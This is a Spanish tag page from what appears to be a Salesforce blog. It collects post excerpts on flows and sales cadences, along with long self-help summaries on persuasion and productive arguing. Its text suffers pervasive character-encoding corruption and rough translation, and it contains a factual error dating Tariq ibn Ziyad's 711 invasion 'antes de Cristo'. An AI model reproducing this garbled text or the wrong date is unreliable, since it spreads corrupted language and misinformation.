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Tag: Prueba

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

脷ltima actualizaci贸n el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el pr贸ximo en superarlo As铆 que, 隆prep谩rese y sum茅rjase! 馃憠 Ya que est谩s aqu铆, es posible que desees

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Enviar, registrar, repetir: registro de alertas de correo electr贸nico como actividades

Enviar, registrar, repetir: registro de alertas de correo electr贸nico como actividades

脷ltima actualizaci贸n el 24 de octubre de 2023 por Rakesh Gupta Big Idea or Enduring Question: 驴C贸mo se registran los correos electr贸nicos enviados con la acci贸n ‘enviar correo electr贸nico’? Objetivos: Despu茅s de leer este blog, ser谩s capaz de: Utilizar el flujo activado por registro para enviar una alerta por correo electr贸nico. Utilizar la acci贸n de flujo “Enviar correo electr贸nico”. Utilizar

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Las alertas de correo electr贸nico se env铆an por correo electr贸nico

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Un d铆a en la vida de un nuevo programador de Salesforce

Ingresar en el ecosistema de Salesforce puede ser una experiencia desalentadora pero emocionante. Hace poco m谩s de un a帽o, me incorpor茅 a Giveclarity como consultor t茅cnico en pr谩cticas. Tras tres meses de formaci贸n, me adentr茅 en el din谩mico mundo de la consultor铆a. Como nuevo miembro del equipo t茅cnico, me dedico a todo tipo de tareas, desde trabajar en […]

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Salesforce Velocity con Sweep: Un nuevo estado de 谩nimo operativo

Salesforce Velocity con Sweep: Un nuevo estado de 谩nimo operativo

脷ltima actualizaci贸n el 25 de octubre de 2023 por Rakesh Gupta Salesforce es la plataforma CRM l铆der en el mundo por una raz贸n: est谩 en constante evoluci贸n e innovaci贸n, impulsando un crecimiento masivo en el ecosistema. El ecosistema de servicios y productos de Salesforce ha crecido significativamente en los 煤ltimos a帽os. En 2021, IDC public贸 un estudio en el que se

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La velocidad de Salesforce con Sweep

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驴Sabe qu茅 hay en la hoja de ruta de Salesforce para la IA?

Despu茅s de la pl茅tora de emocionantes anuncios de IA en Dreamforce, sabemos que hay un mont贸n de emocionantes innovaciones de IA a la vuelta de la esquina. Pero con tanto que esperar, 驴c贸mo podemos estar al tanto de lo que est谩 por venir y cu谩ndo? Las hojas de ruta de productos de Salesforce son la clave para estar al tanto de lo que se […]

planea y [..

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Arquitectos de Salesforce: From Good to Great With Design Thinking

“驴Cu谩l cree que es la diferencia entre un buen y un gran arquitecto de Salesforce?” Hace a帽os, compart铆a un taxi despu茅s de Dreamforce con un amigo arquitecto de Salesforce y serpente谩bamos entre el tr谩fico atascado en el centro de San Francisco. Surgi贸 el tema de por qu茅 muchos aspirantes a arquitectos fracasan en su primer intento en los ex谩menes de CTA. Pues bien, […]

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Los arquitectos de Salesforce: De buenos a excelentes con Design Thinking

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C贸mo la consultor铆a de AWS puede maximizar el ROI de adopci贸n

Cada vez m谩s organizaciones de todos los sectores est谩n considerando la migraci贸n a AWS para aprovechar los beneficios de una mayor flexibilidad, seguridad avanzada y una gama de s贸lidos servicios de AWS. Seg煤n Statista, el segmento de AWS crece al menos un 20% cada a帽o. A pesar de todas las ventajas potenciales de la plataforma en la nube de AWS, su implementaci贸n tiende a llevar tiempo […]

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Asigne autom谩ticamente nuevos clientes potenciales a una cadencia de compromiso de ventas

Asigne autom谩ticamente nuevos clientes potenciales a una cadencia de compromiso de ventas

脷ltima actualizaci贸n en October 29, 2023 por Rakesh Gupta Big Idea or Enduring Question: C贸mo se asignan autom谩ticamente los clientes potenciales reci茅n creados a una cadencia de compromiso de ventas? Objetivos: Despu茅s de leer este blog, ser谩s capaz de: Trabajar con el objeto ActionCadence para conocer una Cadencia. Asignar un compromiso de ventas

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S茅 una mente brillante, capaz de transformar a los dem谩s

Ya sea que est茅s tratando de cambiar a una persona, transformar una empresa, o cambiar el modo en el que una industria en su totalidad opera, este es el articulo para ti, ya que te brindara un modo poderoso de pensar y ciertas t茅cnicas que pueden conducirte a resultados extraordinarios, convirti茅ndote en un catalizador.

Todos tenemos cosas para cambiar:

  • La gente en ventas y marketing quiere cambiar las mentes de sus potenciales clientes,
  • Si trabajas para una empresa, quieres cambiar la perspectiva de tu jefe,
  • Si eres un l铆der de negocios quieres cambiar a tu empresa, y
  • Si eres un padre o madre quieres cambiar el modo en que tus hijos se comportan en ciertas situaciones. 

Pero como todos sabemos, el cambio es dif铆cil. Una de las m谩s grandes cosas que est谩n en el camino es la inercia. Es la raz贸n por la que las familias vuelven al mismo lugar de vacaciones cada a帽o y porque las empresas dudan en comenzar nuevas iniciativas y no les gusta eliminar las viejas. 

Como autor, Jonah Berger se帽ala nuestra tendencia es forzar y superar la inercia:

  • Si tu cliente no est谩 comprando el terreno de juego, les env铆as diapositivas llenas de razones y hechos,
  • Si tu jefe no est谩 comprando tu idea, dale m谩s hechos y una explicaci贸n m谩s larga. 

Pero como es el caso con frecuencia, los negociadores en el FBI est谩n un paso m谩s adelantados cuando se trata de cambiar los corazones y las mentes de las personas donde el cambio es dif铆cil. Los negociadores como Gre Vecchi conf铆an en un m茅todo diferente, uno que remueva las barreras en vez de pelear contra ellas.

Explicaremos c贸mo puedes crear el cambio para convertirte en un catalizador. 

Un mejor modo de Cambiar Mentes, Inspirado por la Qu铆mica 

En el mundo de la ciencia, los farmac茅uticos utilizan un conjunto especial de sustancias para facilitar el cambio:

  • Estas sustancias limpian el escape de tu auto y convierte el petr贸leo en tu casco de bicicleta,
  • M谩s importante para nuestro objetivo aceleran el cambio permitiendo que las mol茅culas que puedan llevar a帽os en interactuar lo hagan en pocos segundos,
  • En esencia, remueven obst谩culos y disminuyen barreras para una interacci贸n. 

Y esa es la met谩fora que Berger utiliza para el libro que el mejor modo para cambiar en cualquier situaci贸n es convertirte en catalizador.

Cuando removemos obst谩culos y disminuimos las barreras que nos mantienen a la gente de tomar acci贸n, sucede el cambio.  

Comienza con una simple pregunta:

  • 驴Por qu茅 no ha cambiado la persona ya?,
  • 驴Qu茅 es lo que los est谩 bloqueando?,
  • 驴Por qu茅 este m茅todo funciona tan bien?,
  • 驴Porque Greg Vecchi hace que los criminales salgan caminando de las casas y se rindan sin nada de violencia? 驴Nueve veces de diez?
  • Funciona porque el cambio no siempre requiere m谩s potencia. A veces necesitas encontrar y desbloquear el freno. 

Exploramos cinco modos en los que te puedes convertir en un catalizador:

  1. Reducir Resistencia Reactiva,
  2. Facilitar la aprobaci贸n,
  3. Disminuir la Distancia,
  4. Aliviar La Incertidumbre, y
  5. Encontrar Evidencia Concordante. 

Principio 1: Reducir Resistencia Reactiva

Cuando la gente es presionada, su reacci贸n natural es tambi茅n presionar:

  • Es como que hayan construido sistemas de defensa de misiles,
  • Un misil viene, un misil va y destruye aquel misil
  • La gente tiene un radar que estalla cuando siente que alguien est谩 tratando de convencerlos de algo. 

El t茅rmino cient铆fico para esto es Resistencia Reactiva.

Es un estado de la mente disconforme que la gente siente cuando pierde su libertad o se ve amenazada. Esto es cierto no solo cuando le dices a la gente lo que tiene que hacer, sino tambi茅n cuando les decimos lo que no tiene que hacer. 

Como aquella vez, Tide trat贸 de decirnos que la gente no come sus c谩psulas de detergente (Tide Pods):

  • Internet tiene la tendencia de crear un comportamiento est煤pido, como comer barras de detergente de lavander铆a porque lucen bien,
  • Eso inici贸 lo que es ahora conocido el Desafi贸 Tide Pod. El objetivo era filmarte a ti mismo comiendo un Tide Pod, que no era obviamente lo que se supon铆an hacer con ellos y era potencialmente peligroso,
  • En respuesta, Tide saca un mensaje con la ayuda de Rob Gronkowski, la estrella de f煤tbol. 驴Eso ayud贸? Por supuesto que no, porque la reacci贸n reactiva, s贸lo estimul贸 a la gente a m谩s y m谩s haza帽as idiotas de comer detergente.
  • Lo mismo es cierto cuando los mensajes de prevenci贸n del alcohol causan que los alumnos universitarios tomen m谩s. Y cuando le dices a la gente que fumar es perjudicial para la salud y fuman m谩s. 

En cambio, la soluci贸n a este problema es hacer que la gente se persuada a si mismo. Puedes hacerlo encontrando el piso medio entre no hacer nada o decirles que deben hacer 

Existen 4 modos que puedes hacer esto

  1. Dar un men煤. Cuando le des a la gente un conjunto limitado de opciones, les das tanto un sentido de autonom铆a y una direcci贸n en la cual liderar. 
  2. Pregunta, no digas. Haz preguntas que provoquen lo que la gente quiere, en vez de decirles lo que quieren, es m谩s probable que act煤en. La gente tiene una tendencia a comportarse de manera consistente con cualquiera sea la respuesta que les des. 
  3. Resalta un vac铆o. Se帽alando una desconexi贸n entre los pensamientos de una persona y las acciones y lo que pueden recomendar para otros puedes hacer que la persona act煤e.
  4. Comienza con el entendimiento. Poni茅ndote en el lugar del otro, construyen la confianza y el entendimiento, lo cual eventualmente facilita para que la otra persona cambie.

Principio 2: Aliviar el Legado

Probablemente hayas escuchado el dicho: Si no est谩 roto, no lo repares.

Es nuestro esencia natural de los seres humanos.

A menos que lo que estamos actualmente haciendo este produzca resultados desastrosos, probablemente no queramos cambiar.

Esto es el tendencia del estado actual. Existen dos t茅cnicas fundamentales que puedes utilizar para combatir esto. 

1.Resalta el costo de la inacci贸n

De manera de sacar a la gente  de su estado natural, necesitamos sobresaltar que el estado actual (no realizar ninguna acci贸n) no es tan costoso como parece.

Aqu铆 tienes un ejemplo simple:

  • Berger estaba sorprendido al ver a su primo tipeando: Saludos Charles. cuando firmaba cada correo que escrib铆a,
  • Berger le pregunt贸 porqu茅 no pon铆a eso en su firma de correo para ahorrar tiempo por cada correo que escrib铆a,
  • La respuesta de su primo fue que le llevaba un par de segundos hacerlo, y que el no sab铆a c贸mo crear una firma de correo, y que eso le llevar铆a tiempo descubrirlo,

Por lo tanto:

  • Berger le pregunt贸 cuantos correos escrib铆a cada semana, y descubri贸 que el numero era 400,
  • Luego, le pregunt贸 nuevamente cuanto tiempo tardaba en escribir: Saludos Charles. y
  • La pr贸xima cosa que sabes Charles estaba tipeando en el buscador de Google era c贸mo crear una firma de correo.

Eso es porque el hab铆a hecho la matem谩tica y se hab铆a dado cuenta que estaba pasando mas de 11 horas por a帽o escribiendo la firma y hab铆a descubierto el verdadero costo de la inacci贸n. 

2.Quema los barcos

A veces la resistencia para tomar acci贸n es tan fuerte que el pedirle a la gente que considere el costo no es efectivo. En estas casas necesitas ir un paso m谩s adelante y quemar las naves. 

Existen muchos ejemplos de esto en la historia tales como:

  • Cuando El comandante Musulm谩n Tariq ibn Ziyad invadi贸 la Pen铆nsula Ib茅rica en el a帽o 711 antes de Cristo y orden贸 la quema de su flota para prevenir la cobard铆a entre sus tropas. 

Esta t谩ctica act煤a para tomar opciones fuera de la mesa y hace que la gente considera cu谩l es la nueva acci贸n que deben tomar.

Principio 3: Disminuci贸n de Distancia

Todos tenemos un sistema de anti persuasi贸n que puede a veces estar en cortocircuito dando informaci贸n. Pero a veces la informaci贸n puede realmente prendernos fuego.

驴Porque?

Porque la informaci贸n que damos necesita estar dentro de lo que Berger denomina la zona de aceptaci贸n.

Si la informaci贸n est谩 demasiado fuera de aquella zona, esta realmente dentro de la zona de rechazo y tu informaci贸n realmente lastimar谩 en vez de ayudar. 

Aqu铆 hay un ejemplo:

  • Imagina que est谩s peleando sobre si deber铆a haber una prohibici贸n sobre la ventas de alcohol, 
  • Ahora imagina que estamos en un campo de f煤tbol y en cada zona de fin existen personas que est谩n formen mete en un campo u el otro, completamente comprometida a la prohibici贸n o completamente en su contra.

Tambi茅n:

  • Imagina que existen un conjunto de personas en diferentes puntos en el campo. La gente que esta en la linea de yarda 25 est谩 levemente a favor o en contra de la prohibici贸n,
  • Ahora finalmente, imagina que cualquier otra discusi贸n que hagas que sea m谩s de 25 yardas de aquella persona ser谩 rechazada,
  • Lo que significa es que no quieres tratar y mover alguien desde la l铆nea de 25 a un lado del argumento m谩s que a medio campo, porque si lo haces estar谩s en la zona de rechazo y solo har谩s que se den vuelta y afiancen a煤n m谩s en su posici贸n.  
Pr谩cticamente hablando, esto significa que debes primero descubrir donde exactamente est谩 en el espectro la persona que est茅s tratando de persuadir, y disminuir la cantidad de cambio que est谩s tratando de crear en el momento. 

Existen tres modos de hacer esto:

  1. Encontrar el medio movible. Cuando est谩s tratando con problemas que la gente tiene fuertes sentimientos, encuentra a la gente que ya est谩 cerca de la posici贸n que quieres que tomes. Estas son las personas con las cuales tengas 茅xito. Estas son las personas donde el peque帽o cambio crea el m谩s grande impacto.
  2. Pregunta por menos. Si quieres cambiar las mentes de las personas que estas m谩s all谩, reduce el tama帽o de tu primer pregunta. So solo sea m谩s probable que tengas 茅xito la gente que hace peque帽os cambios primero probablemente habr谩 m谩s cambios en general. 
  3. Cambia el campo para encontrar un punto de despegue. Cuando alguien est谩 realmente metido en su posici贸n, como en el caso cuando estamos tratando con el prejuicio, el objetivo es encontrar un lugar donde exista un acuerdo y utilizarlo como punto de pivote. 

Principio 4: Alivia la Incertidumbre

Una de las razones por las cuales la gente se resiste al cambio tanto es que con frecuencia implica incertidumbre. Dice el refr谩n:

Mejor malo conocido que bueno por conocer

驴Ser谩 este nuevo producto o servicio tan bueno como el viejo? Es con frecuencia muy dif铆cil de saber con exactitud, lo cual produce que apretemos el bot贸n de pausa antes de que tomemos nuestra decisi贸n.

Este truco a continuaci贸n es para que se apriete el bot贸n de no pausa haciendo que las cosas sean m谩s f谩ciles de probar. 

Remover el impuesto de la incertidumbre

Un d铆a, Nick Swinmurn, un ex hombre de venta de entradas de baseball de la linea menor estaba buscando un par de zapatos en particular en un shopping de San Francisco:

  • Luego de varias horas buscando no pudo encontrar lo que quer铆a,
  • Entonces tuvo una gran idea: 驴Qu茅 pasar铆a si existiera una tienda en internet que vendiera cada zapato inimaginable de manera que no tuvieras que perder tiempo buscando como Nick todo el d铆a aquello que tanto quer铆a?,
  • Su primer intento, ShoeSite.com tuvo problemas: Se qued贸 sin efectivo y su 煤nica gracia salvadora de ahora era que no ten铆a competencia porque nadie m谩s cre铆a que eso era un buen negocio para hacer,
  • El problema que ellos descubrieron era que los clientes no sab铆an si los zapatos que iban a comprar online les quedar铆an bien o no. 

Por lo tanto:

  • Hicieron libre env铆o, y
  • B谩sicamente le dijeron a sus clientes que compraran tantos zapatos como ellos quer铆an, y regresaran el resto por un rembolso total. Todo sin cargo de env铆o. 

Quiz谩s esto es la primera vez que escuchas sobre ShoeSite.com, pero te apuesto que no es la primera vez que hayas escuchado que una empresa se convirti贸 en Zappos.com.

Aqu铆 te presentamos otras formas que puedes reducir el impuesto de incertidumbre y hacer m谩s posible que la gente tome la acci贸n que quieras que ellos tomen: 

  1. Confianza de Prueba: Hazlo f谩cil para que la gente pruebe tu producto o servicio antes de tomar la decisi贸n final. 
  2. Libertad de Uso: Crear una versi贸n libre de tu producto o servicio que permite que tus clientes experimenten el valor que produces y solo los hagas pagar cuando ellos inevitablemente desbloquean caracter铆sticas valorables. Las empresas como Dropbox han crecido a empresas multimillonarias utilizado esta estrategia, 
  3. Hazlo reversible: Tomar la decisi贸n reversible elimina la incertidumbre alrededor de la transacci贸n y la hace mucho m谩s posible que obtengas el compromiso que est谩s buscando. Como el refugio de mascotas que le dio Berger y a su novia la opci贸n de regresar el cachorro que estaban adoptando leudo de dos semanas, 
  4. Si quieres una frase atrapante para recordar para los principios de esta secci贸n, Es esta:  M谩s f谩cil intentar, mas f谩cil comprar. 

Principio 5: Encontrar Evidencia Concordante

Hemos escuchado que la prueba social es importante en el marketing. Es por eso porque las celebridades son usadas casi con cada tipo de producto o servicio que puedas imaginar. 

Sin embargo, existe algo de matiz que a veces se pierde en este principio que querr谩s considerar antes de ver cualquier viejo testimonio en tu producto. 

Cuando alguien recomienda algo, enciende un n煤mero de preguntas en la cabezas de las personas que lo est谩n viendo.

Por ejemplo:

  • Si uno de tus compa帽eros de trabajo te dice que un nuevo show que est谩n mirando es realmente bueno,
  • Puedes preguntarte si ellos tienden a gustarle un mont贸n el show o no, ellos le gusta aquel tipo de show en particular y solo porque les gusto, 驴te gustar谩 a ti? 

Cuando est谩s buscando evidencia concordante es importante focalizarse en tres cosas:

  1. Qui茅n,
  2. Cuando, o
  3. C贸mo. 

Qui茅n

Es importante tener la mezcla correcta de fuentes cuando se trata de prueba social.

Las personas suelen ser mucho m谩s persuadidas por evidencia corroborativa cuando se trata de gente que son como ellos. 

Y mientras m谩s es mejor es generalmente verdadera si tienes 100 testimonios desde el mismo tipo de gente ser谩 tratado como una fuente de la informaci贸n. 

Es por eso que es importante tener diversidad en tu evidencia corroborativa, diferentes tipos de personas que apoyan tu producto o servicio (o la acci贸n que estas tratando de advocar) har谩 mucho mas posible que sean convencidos.

Cuando

La pr贸xima cosa que consideras es cuando la exposici贸n a estas mensajes de prueba social tendr谩 un impacto mas grande. 

Lo correcto aqu铆 es que la concentraci贸n aumenta el impacto. Todo lo dem谩s que sea igual escuchar sobre algo de m煤ltiples fuentes al mismo tiempo aumentar谩 la persuasi贸n por sobre la escucha sobre algo del mismo n煤mero de personas diferentes en el tiempo.

C贸mo

La 煤ltima pregunta para considerar es c贸mo desplegamos tus recursos escasos. La decisi贸n aqu铆 es determinar si utilizar una estrategia de rociador o una manguera contra incendios.

Por ejemplo, 驴debes dirigir todos tus recursos a una campa帽a de marketing en una ubicaci贸n 煤nica? o 驴debes esparcirlo en una gran 谩rea, optando por cubrir la concentraci贸n?

Entonces:

  1. Si la resistencia a tu mensaje es baja, optar por la estrategia rociador es la decisi贸n correcta. No necesitas una gran concentraci贸n de gente en una 谩rea para un mensaje que debes comunicar, o
  2. Si la resistencia a un mensaje es alta, optar por la estrategia de manguera contra incendios es la decisi贸n correcta. Para ser exitosos, necesitas una concentraci贸n de gente en una ubicaci贸n para que tu mensaje se esparza. Utilizar la estrategia rociador en esta situaci贸n puede provocar pocos o nada de resultados. 

Conclusion

Crear el cambio es dif铆cil, pero posible. La clave es convertirse en un catalizador y sacar las barreras a la acci贸n en vez de tratar de crearlas por la fuerza. 

Puedes hacerlo recordando y utilizando los cinco modos en los que puedes convertirte en un catalizador, y lograr de los potenciales clientes o clientes, o de la persona que quieras los resultados que desees. T煤 puedes.

El Arte de la Discusi贸n Productiva

驴T煤 y tu pareja pelean sobre las mismas cosas una y otra vez? 驴Eres la clase de persona que evade los conflictos? De cualquier modo, no has aprendido el arte de la discusi贸n productiva. La pelea no siempre tiene que ser mala. Si lo haces bien, pelear puede realmente unir m谩s a ti y a tu pareja. Por lo tanto, 驴c贸mo tienes una discusi贸n productiva? Prep谩rate para aprender todo sobre el arte del desacuerdo productivo.聽

El Arte De Pelear

Tener una pelea es como sacar la malezas en tu jard铆n. No importa que frecuente tratas de liberarte de ellas, siempre vuelven. Es por eso que la mayor铆a de las peleas que tenemos son improductivas: no se centran en las causas ra铆ces de las peleas, sino solo en el conflicto superficial. 

Si podemos aprender a tener peleas productivas podemos cambiar nuestras vidas diarias para mejor. Nos sentimos m谩s seguros, aprendemos m谩s sobre el mundo a nuestro alrededor, nos acercamos a la gente que por lo general peleamos y desarrollamos un pensamiento colaborativo.

Antes de mirar como los desacuerdos pueden convertirse en algo productivo aclaremos brevemente tres conceptos err贸neos sobre las peleas:

  1. Las peleas son malas, 
  2. LAs peleas cambian mentes, y
  3. Las peleas finalizan.

Comencemos con el primero, Las peleas son malas. Las peleas nunca son malas sino que pueden ser improductivas. 

De hecho una relaci贸n necesita pelea. De acuerdo al investigador de matrimonios el Dr. John Gottman, una relaci贸n debe tener una proporci贸n de 5:1 encuentros positivos y negativos. Tener solo encuentros positivos significa que no hay suficiente comunicaci贸n en la relaci贸n. 

La gente es mas feliz y los grupos funcionan mejor cuando el flujo de desacuerdos necesatios es abierto y tienen una oportunidad honesta de ser escuchados. 

Observado el segundo concepto err贸neo: las peleas cambian las mentes. Este tema se refiere a lo que es una pelea. Una pelea es una diferencia inaceptable entre dos perspectivas. Muchos deciden que el modo m谩s f谩cil de resolver un conflicto es cambiando la mente de la otra persona. Con frecuencia cuando tratamos de hacerlo sucede lo contrario, la otra persona clava el pu帽al mucho m谩s profundo.

Imagina que durante horas tu jefe te dice que tienes que abstenerse del alcohol y los cigarrillos para tener una cabeza clara para el trabajo. Si estos son vicios comunes para tii, las oportunidades son que vas a complacerlo incluso m谩s de lo que t铆picamente lo har铆as, verdad? Eso Benson lo denomina el efecto backfire.鈥 Para tener una pelea productiva es importante comprender que la 煤nica mente que puedes cambiar es la propia. 

El concepto err贸neo final es que las peleas finalizan. No es verdad. De hecho por lo general tienen ra铆ces profundas y volver谩n una y otra vez es por eso que es 煤til mirar cu谩les son las peleas m谩s comunes 

Tres Reinos De Desacuerdos

Existen tres reinos de desacuerdos: la cabeza (que es verdadero? ), el coraz贸n (lo que es significativo?) y las manos (Lo que es 煤til?)/ Para tener un desacuerdo productivo pregunta a tu pareja de conversaci贸n si est谩s peleando sobre que es verdadero, que es significativo y que es 煤til. 

Una discusi贸n en el reino de la cabeza es sobre la pregunta 驴Que es verdad?, estos desacuerdos no pueden solucionarse con informaci贸n, datos y evidencia. Una discusi贸n en este campo puede ser sobre quien mira mas tu, por ejemplo y puede ser f谩cilmente contestado registrando las horas de esto. 

Una discusi贸n en el mundo del coraz贸n se refiere a la pregunta que es significativa? Esto puede ser un conflicto sobre preferencias, valores y gustos personales. Dicho conflicto puede ser sobre si un show de tv vale la pena ser visto o no por ejemplo. 

Finalmente, una discusi贸n en el mundo de las manos se refiere a que es 煤til> Este tipo de clase de conflictos puede ser solo resuelto viendo c贸mo las cosas juegan un papel en el futuro o por un estr茅s. Por ejemplo, esto puede ser una discusi贸n sobre c贸mo mejor equilibrar el tiempo de la tv con otras obligaciones.

Con frecuencia, discutimos sobre niveles m煤ltiples por lo tanto preguntamos primero si hace mucho m谩s f谩cil resolver un conflicto dirigiendose un tema despu茅s de otro. Pero existe un cuarto marco. A veces no discutimos con otra persona, realmente proyectamos nuestros temores y ansiedades. Cuando discutimos con alguien, siempre asegurate que es la persona con la que est谩s en desacuerdo y no tu propia imaginaci贸n, realmente somos muy malos en comprender lo qu茅 otra persona siente o piensa!

Ansiedad

Muchas peleas tienen su ra铆z en un destello de ansiedad. Por ejemplo de un Many arguments are rooted in a spark of anxiety. Por ejemplo una foto de bagels posteada en  Twitter. En la foto las bagels fueron cortadas verticalmente como una rebanada de pan no horizontalmente. Los comentarios revelaron la ansiedad que la foto hab铆a disparado en mucha gente desde 鈥淥ficial , quiero declarar un crimen a Quien te dijo que eso estaba bien? 

{Por supuesto, sentir algo de ansiedad o disonancia cognitiva con la foto del bagel no tiene consecuencias serias en el mundo real. Pero sentimos ansiedad cada vez que nuestros valores y perspectivas se encuentran con alguien o algo que las cuestiona. La ansiedad nos alerta que algo importante para nosotros est谩 siendo amenazado. 

Sentir ansiedad es 煤til y normal/. pero tener una discusi贸n de la ansiedad crea encuentros improductivos. Por lo tanto existen 4 modos en los cuales pueden detener tu ansiedad de caer en una discusi贸n:

  1. Respira y da un paso atr谩s. 驴Est谩s ansioso sobre lo que es verdadero, lo que es significativo o lo que es 煤til? 
  2. Luego pregunta a la otra parte la misma pregunta, 
  3. Ambas partes deben narrar y explicar lo que los pone ansiosos. Ver si esto lleva a nuevas conexiones entre ambos. 
  4. Ver si uno de los dos desea conversar sobre lo que lo pone ansioso al otro. 驴Qui茅n necesita m谩s ayuda para resolver su conflicto interno? 
  5. Cuando consideres quien es m谩s afectado por el conflicto es 煤til considerar la desacuerdo cognitivo. En el caso de los bagels cortados verticalmente por ejemplo los neoyorquinos pueden tener un desacuerdo cognitivo fuerte ya que ver铆an esto como una violacion de sus amadas bagels. La gente en los grupos neutrales se sentir铆an poco a nada de diferencia cognitiva y la gente viviendo en St Lous probablemente no sentirian absolutamente nada de discordancia cognitiva ya que las bagels cortadas verticalmente son una tendencia local all铆. 

Las Voces en tu cabeza

Cuando nuestra ansiedad es disparada tenemos unas pocas reacciones de propuesta  disponibles. Piensa sobre un tema candente como las vacunas. Si crees que todos deber铆an vacunarse o no, probablemente tiendes a demonizar a la gente que represente el otro lado de tu argumento. 

Esto sucede con frecuencia en peleas pero 驴por qu茅 nuestros cerebros recurren a esta t茅cnica? El economista y psic贸logo Daniel Kahneman llama esto un pensamiento r谩pido y lento. De acuerdo a elm tenemos dos sistemas cerebrales:

El sistema 1 es el lado r谩pido, instintivo y emocional del cerebro mientras que

El sistema 2 es el lento, racional y deliberado. 

Ya que el sistema 1 es m谩s r谩pido, define nuestras reacciones. Las voces internas se elevan e instintivamente nos dicen qu茅 hacer. 

Si aprendemos a escuchar aquellas voces internas, podemos aprender a dar un paso atr谩s desde una discusi贸n y dar una respuesta m谩s medida que proviene del Sistema 2. Tenemos cuatro voces internas: la voz del poder, de la raz贸n de la evasi贸n y de la posibilidad. 

Las primeras tres vienen de nuestra cultura. La voz del poder es la principal de todas: quiere resolver conflictos cerr谩ndose, diciendo cosas como :mi modo o la autov铆a. La voz de la raz贸n, sin embargo busca dar una raz贸n para cerrar una discusi贸n,, diciendo cosas como 鈥減ruebalo o eso no agrega nada. Finalmente la voz de la evasi贸n trata de escapar de una discusi贸n diciendo cosas como sacame de esta: 

Todas esas tres voces pueden detener una discusi贸n a corto plazo. Pero como las malezas la discusi贸n va a resurgir eventualmente. Es por eso que para solucionar de manera productiva un conflicto necesitas escuchar a la voz de la posibilidad que pregunta 鈥溌縬u茅 me estoy perdiendo? Fomenta una conversaci贸n significativa con tu pareja y puede finalizar el conflicto de una vez por todas. 

Hacer esta pregunta puede reunir ideas opuestas, si piensas en el debate sobre la vacunaci贸n, ambos lados podr铆as pedir razones porque la otra persona piensa del modo que ellos lo hace, y luego utilizar esta informaci贸n como un punto de comienzo para construir un argumento.

Desarrolla bias honestas

Para navegar de manera exitosa por nuestro mundo alrededor confiamos en trucos cerebrales o sesgos cognitivos. Los dos m谩s comunes que nuestro sistema de pensamiento del sistema 1 despliega son la disponibilidad heur铆stica y el favoritismo en grupo.

La capacidad heur铆stica significa que tomamos decisiones basadas en lo que viene a la mente lo m谩s f谩cil. Si ponemos esto en el contexto de las interacciones humanas esto significa que las opciones que parecen obvias para nosotros pueden ser m谩s f谩ciles para otras personas. Esto puede llevarnos a pensar que la otra persona intencionalmente evito la mejor opci贸n y esto podr铆a disparar un conflicto.

El favoritismo en grupo significa que damos m谩s peso a las opiniones de la gente cuando pertenecen al mismo grupo que nosotros, y sea que es porque votaron por la misma persona o apoyan el mismo club de f煤tbol;, Tambi茅n tendemos a vernos a nosotro mismos y aquellos fuera de nuestro grupo como transparentes y simples. 

Obviamente, estos sesgos alteran nuestro juicio y no conducen a un argumento productivo. Sin embargo, tristemente no podemos apagar las. 

Necesitamos estos sesgos para procesar las cantidades de informaci贸n que somos confrontados a diario por lo tanto la 煤nica cosa que podemos hacer es aceptar que tenemos aquellas sesgos y comenzar a reconocerlos. S贸lo entonces puedes comenzar a desarrollar sesgos honestos. 

As铆 de importante como atravesar un conflicto lo m谩s imparcial posible es conducir un conflicto en un entorno neutral. Necesitas un c贸digo claro de conducta para evitar cosas como llamar un nombre, y necesitas estar en el mismo nivel de poder como tu pareja de conflicto conflicto 

Notas Finales

Las peleas no tienen que ser malas o desagradables. Una vez que aprendes a aceptar tus propias imparcialidades y alejarte del aspecto emocional de una pelea, puedes utilizar estas t茅cnicas para comprender mejor y empatizar con tu oponente. 

Nadie puede evadir un conflicto pero todos podemos aprender c贸mo discutir mejor y movernos de manera productiva. 

La pr贸xima vez que te enojas durante una pelea respira hondo y preguntare: 驴es este conflicto sobre mi cabeza, mi manos o el coraz贸n? 

Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminaci贸n de clientes potenciales en la cadencia de participaci贸n de ventas

脷ltima actualizaci贸n el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participaci贸n de ventas?

Objetivos:

Despu茅s de leer este blog, podr谩s:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscr铆base para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado autom谩ticamente desde la clase Apex
  • Y mucho m谩s.

馃憠 Anteriormente, escrib铆 un art铆culo sobre Sales Engagement. 驴Por qu茅 no echarles un vistazo mientras lo haces?

  1. 驴Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea espec铆fica. Siempre que un vendedor por tel茅fono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participaci贸n de ventas, aseg煤rese de la creaci贸n autom谩tica de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participaci贸n en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

驴Qu茅 es la cadencia de participaci贸n en ventas?

La adquisici贸n de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, est谩n listos para emprender actividades de divulgaci贸n. 隆Pero espera! Demos un paso atr谩s y reflexionemos sobre las siguientes preguntas como pre谩mbulo para comprender la cadencia de ventas: (1) 驴Con qu茅 frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) 驴C贸mo le gustar铆a que se comunicaran con el cliente potencial, mediante llamada o correo electr贸nico? (2) 驴C贸mo desea capturar la disposici贸n de las llamadas? (3) etc茅tera.

